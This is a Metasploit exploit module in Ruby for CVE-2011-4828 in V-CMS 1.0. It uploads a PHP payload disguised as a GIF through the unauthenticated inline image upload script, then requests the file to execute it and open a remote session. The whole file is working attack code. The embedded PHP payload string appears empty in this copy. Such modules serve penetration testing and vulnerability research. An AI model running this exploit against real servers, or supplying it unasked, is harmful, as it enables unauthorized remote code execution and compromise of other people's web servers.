## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "V-CMS PHP File Upload and Execute", 'Description' => %q{ This module exploits a vulnerability found on V-CMS's inline image upload feature. The problem is due to the inline_image_upload.php file not checking the file type before saving it on the web server. This allows any malicious user to upload a script (such as PHP) without authentication, and then execute it with a GET request. The issue is fixed in 1.1 by checking the extension name. By default, 1.1 only allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as one of those extension names, which may still be leveraged in an attack. }, 'License' => MSF_LICENSE, 'Author' => [ 'AutoSec Tools', #Initial discovery 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2011-4828'], ['BID', '50706'], ['URL', 'http://bugs.v-cms.org/view.php?id=53'], ['URL', 'http://xforce.iss.net/xforce/xfdb/71358'] ], 'Payload' => { 'BadChars' => "\x00", }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['V-CMS 1.0', {}], ], 'Privileged' => false, 'DisclosureDate' => "Nov 27 2011", #When the ticket was created 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/vcms/']) ], self.class) end def check res = send_request_raw({ 'uri' => target_uri.path, 'method' => 'GET' }) if res and res.body =~ /V\-CMS v1\.[0-1]/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm(@payload_name) else client.shell_command_token("rm #{@payload_name}") end end def exploit peer = "#{rhost}:#{rport}" base = target_uri.path base << '/' if base[-1,1] != '/' @payload_name = "#{rand_text_alpha(5)}.php" p = %Q| | p = p.gsub(/^\t\t/, '') post_data = "------x\r\n" post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n" post_data << "Content-Type: image/gif\r\n" post_data << "\r\n" post_data << p post_data << "------x--\r\n" print_status("#{peer} Uploading payload: #{@payload_name}") res = send_request_cgi({ 'uri' => "#{base}includes/inline_image_upload.php", 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=----x', 'data' => post_data }) if res print_status("#{peer} replies status: #{res.code.to_s}") else print_error("#{peer} No response from server. Will not continue") return end print_status("#{peer} Executing payload: #{@payload_name}") res = send_request_raw({ 'uri' => "#{base}temp/#{@payload_name}", 'method' => 'GET' }) if res and res.code == 404 print_error("#{peer} 404 - the upload probably failed") return end handler end end